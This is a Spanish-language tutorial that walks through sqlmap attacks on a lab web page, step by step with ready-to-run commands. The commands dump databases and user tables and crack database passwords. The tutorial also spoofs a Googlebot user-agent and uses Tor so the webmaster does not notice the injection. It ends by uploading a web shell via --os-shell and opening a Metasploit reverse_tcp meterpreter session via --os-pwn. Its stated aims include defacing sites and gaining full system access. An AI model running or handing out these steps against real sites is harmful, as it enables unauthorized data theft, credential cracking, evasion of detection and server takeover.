¿Que es el SQLMAP ?
El sqlmap es una herramienta en código abierto, la cual nos permite inyectar una web automáticamente,y nos permite utilizar varias variables en sus ejecuciones de comandos.Nuestros Primeros Pasos en el SQLMAP
Utilizare el Sistema Operativo Backtrack R3 /Linux.Abriremos Nuestra Terminal y pondremos lo siguiente para entrar al directorio.
cd /pentest/database/sqlmap
Lo que haremos ahora sera ejecutar el primer nivel de testeo del sqlmap en este caso el nivel 1, pondremos la url con el error de SQL en este caso un parámetro GET
http://192.168.48.1/test/SQL%20Injection/detalle.php?id='9
agregaremos una comilla al final o adelante del numero, la cual nos confirmara si es vulnerable a una sql inyección botando el siguiente mensaje :
" You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9'' at line 1 "
Como vemos esta es una forma de identificar dicho error para inyectarlo, buenos vayamos al grano 8)
Ejecutamos este código en la terminal :
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --dbs
Una ves ejecutado el código, el sqlmap empezara a Testear la web, una ves terminada saldrán las base de datos que tenga la misma como vemos en la imagen.
Para Entrar a las base de datos y ver sus tablas pondremos el siguiente codigo
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --D privacidaddb --tables
Como vemos eh entrado a la base de datos "Privacidaddb" nos voto las tablas y entre ellas columnas que tienen la información primordial de la web.
Ahora entraremos a la Tabla " usuarios " y extraeremos todos los datos de un porrazo
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --D privacidaddb -t usuarios --columns --dump
Esta es la manera típica de obtener datos paso por paso
Si deseamos tener todos los datos de las base de datos / tablas columnas y datos de la misma, pondremos este codigo
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --dump-all
pero si deseamos tener la base de datos de la web relacionada a las conexiones de la misma base de datos afectaba pondremos el código
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 -p id --current-db
También es muy importante Proteger nuestra privacidad y sobre todo camuflar nuestra Inyección en los Logs del servidor alojado de la web, ya que cada ves que entramos a una web, se quedan grabados nuestras navegaciones, como nuestra IP / y sobre todo el tipo de conexión y petición que usamos , veremos un ejemplo para que se den cuenta.
Como vemos aqui me eh conectado mediante Internet explore de una maquina virtual mediante el parametro GET :
Ahora me conectare nuevamente asiendo una Inyección SQL para ver como se ve la conexión :
Como vemos en la imagen " nos dice que la conexión se inicio mediante : "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)" como vimos detecta hasta el programa que utilizamos, pero ojo lo que hize fue algo simple ya que solo utilice el codigo del sqlmap.py -u url --dbs -D , ahora utilizare el código para dumpear las columnas de las tablas:
como vemos nos detecta de una manera mas textual la conexión que estamos relacionado, entonces el web master se daría cuenta que estamos inyectando su web, entonces vamos a camuflar nuestras conexiones
Pondremos este código :
[code]./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 -D privacidaddb --tables --user-agent="Mozilla 5 (compatible , Googlebot/2.1, http://www.google.com/bot.html)"[/code]
Como vemos hemos camuflado nuestra conexión con un robot de google la cual esta en todo momento vigente en las conecciones de inicio , y hemos puesto el inicio de origen en este caso " www.google.com"
Luego de ello, vamos a utilizar un metodo de como obtener datos del usuario de la web :
[code]sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --current-user [/code]
en este otro método vamos a comprobar si el usuario obtenido es correcto al de la base de datos.
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --is-dba --current-db
Debemos tener en cuenta que también podemos ver los privilegios de administradores por medio de este tipo de inyección, pondremos el siguiente código :
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --privileges
Como vimos obtuvimos datos de los privilegios activados .
ahora aprenderemos el mismo metodo, pero en esta ves obtendremos todos los usuarios de DBS mediante este comando:
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --users
como vemos esta alojado como en el sistema como ROOT y corre en un Gnu/Linux ahora viene lo interesante , Obtener las contraseñas de los usuarios de las dbs, utilizaremos este comando
./sqlmap.py -u ./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --password
Como vemos nos sale este mensaje, pero porque ?, porque las contraseñas de los registros en las base de datos, automáticamente de codifican en "Hash" como son el "MD5" , que es la codificación mas conocida, bueno esta alerta " si deseamos poner ["Y" , "N", "Q"] , la Letra "Y" nos quiere decir que si deseamos utilizar un ataque de fuerza Bruta mediante el sqlmap, para descifrar la hash , el " N " , Sirve para negar el proceso de fuerza bruta y obtener solamente la "hash" y el comando " Q " nos permite terminar el proceso hasta ese momento , Yo Pondre la Opcion "Q" y saldra 3 opciones yo , escogere el diccionario 1 /defauld y en momentos votara lo siguiente :
Como vimos nos muestra la contraseña ya crackeada la cual fue " comandos " y también al usuario que lo pertenece que es " root "
También debemos tener en cuenta que podemos utilizar un tipo de búsqueda mas completa y rápida, con la opción búsqueda, la cual nos facilitara el proceso de búsqueda, como " login " o " usuario / "contraseña" o "password ", en este proceso debemos tener en cuenta que debemos jugar con los nombres de búsquedas,para hallar las columnas aun mas rápido, pondremos este comando :
./sqlmap.py -u http://localhost/test/SQL%20Injection/detalle.php?id=9 -C login --search
como vemos nos sale dos opciones la primera "Defauld" nos permite tener una lista opcional de la búsqueda
la segunda opción, " nos permite tener una lista mas completa , entonces yo le dare " la primera opción " 1 y nos saldrá las columnas de las base de datos en general :
automáticamente después no saldrá esta opción que veremos en la imagen :
este proceso nos permitirá hacer un dump de las columnas halladas en las DBS , entonces yo le pondré la opción : "a" que nos hará un dump en general, y nos votara así :
si deseas tener un proxy en su testeo con el slqmap , utilizaremos el " tor " primero debemos instalarlo en nuestro sistema operativo, una ves instalado y configurado utilizaremos este comando .
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --dbs --tor
Yo solamente pongo el tor porque para mi es uno de los mas seguros, claro si sabes configurar bien el valida con el tor.
Herramientas del Sqlmap
Actualmente hemos utilizado el slqmap para obtener datos de una web, y para ser sinceros hemos obtenido los datos del administrador , o simplemente no hemos obtenido datos, ya sea por un error en el testeo, o simplemente porque no había los datos de logeo , la cual necesitamos para nuestro " Deface " o para tener el acceso general a la web entonces nos hemos rendido ante esos pequeños problemas ahora dime te preguntaras sqlmap tendrá herramientas que me permitan otro tipo de proceso para subir archivos ? pues yo te diré que si esta es una herramienta poderosa que nos permite hacerlo vayamos a la acción tio 8)
Entramos al sqlmap y pondremos el siguiente código
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --os-shell
Como vemos en la imagen, nos muestra 4 tipos de extensiones web's en este caso, nosotros escogeremos el numero 3 ,porque nuestro upload estará basado el dicha programación, ya que es estándar en los servidores web , yo eligire el php y nuego de ello le damos enter y pondremos el discloure parch ! yo puse el del inicio de la web, como vemos aqui, luego de ello nos voto! abajo 2 URL" donde nos indicia que el upload subio correctamente.
Entraremos al primer link :
tango down! pasamos a Subir nuestra shell y tenemos acceso total al sistema
Utilizar slqmap con Metasploit , mediante este proceso crearemos un exploit pasar a utilizar los payloads como " Reverse_tcp" para tener una sesión reversa, subiendo nuestros "archivos infectados al servidor web" vamos a la acción ! Pondremos el siguiente codigo :
./sqlmap.py -u http://192.168.48.1/test/SQL%20Injection/detalle.php?id=9 --os-pwn
Una ves ejecutado nos saldrá esta opción .
Ejecutaremos el primero , ya que vamos a utilizar una conexion de taza transferencia de protocolos / TCP , con metasploit luego nos saldra las mismas opciones las cuales ejecutamos en la sección de arriba ,como subir un upload por sqlmap, usaremos el mismo procedimiento hasta que les salga estas opciones :
en esta sección no pide crear una shellcode para utilizar la conexión y
nos arroja 5 opciones , entonces yo escogeré la opción " 2 " la cual es
"Reverse_tcp" , con los puertos por defecto " entonces son saldran 2
opciones y le daremos " Enter " una ves ello nos dira :
Entonces le pondré " 1 " ya que capturaremos las sesión meterpreter y empezara el proceso ...........
luego de ello nos saldrá que ah sido creado nuestra sesión con el ejecutable
Luego de ello se abrirá automáticamente el metasploit ejecutando los
procesos de explotación y automáticamente iniciara la sesión